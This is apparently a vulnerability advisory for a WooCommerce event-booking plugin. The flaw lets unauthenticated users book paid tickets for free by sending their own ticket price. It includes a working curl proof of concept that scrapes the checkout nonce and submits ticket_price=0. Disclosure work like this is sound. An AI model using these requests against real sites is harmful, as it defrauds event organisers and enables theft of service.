Event Booking Manager for WooCommerce (Pro) < 5.0.3 – Unauthenticated Payment Bypass via Client-Controlled Ticket Price | CVE 2026-16067

Description

The plugin does not validate the ticket price on the server during its native (non-WooCommerce) checkout, trusting the per-ticket price supplied by the client instead of re-deriving the event's configured price. This allows unauthenticated users to book paid event tickets for free, obtaining completed bookings and valid tickets at no cost.

Proof of Concept

Prerequisites (site administrator, one-time):
1. Activate "Event Booking Manager for WooCommerce" (free) and its PRO add-on (mage-eventpress-pro).
2. Engage the native (non-WooCommerce) payment mode: in the plugin's Payment settings set
   "Enable WooCommerce Payment" to Off. (This is also the default when WooCommerce is not installed.)
3. Publish a paid event with a ticket, e.g. a "General" ticket priced 50. Note the event URL and its event ID.

Exploit (pure unauthenticated attacker - no account, no cookies):

# 1) Scrape the guest checkout nonce from the public event page:
NONCE=$(curl -s "https://victim.example/events/paid-conf/" \
  | grep -oE '"native_nonce":"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{8,}')

# 2) Book the paid ticket for $0 by sending ticket_price=0:
curl -s "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mep_native_checkout' \
  --data-urlencode "nonce=$NONCE" \
  --data-urlencode 'event_id=<EVENT_ID>' \
  --data-urlencode 'billing_name=Attacker' \
  --data-urlencode 'billing_email=attacker@evil.test' \
  --data-urlencode 'billing_phone=000' \
  --data-urlencode 'ticket_data=[{"ticket_name":"General","ticket_qty":1,"ticket_price":0}]' \
  --data-urlencode 'attendee_fields={"user_email":"attacker@evil.test","user_name":"Attacker"}'

Expected: {"success":true,...,"status":"completed","attendee_ids":[N]} - a completed, published
attendee record with payment method "free" and an issued ticket number is created for a paid event.

# 3) Control (proves the server trusts the client price): resend the identical request with
#    ticket_price=50 -> the response returns "status":"pending" (payment method "offline"), i.e. NOT
#    completed. Only the client-supplied price differs between the two requests.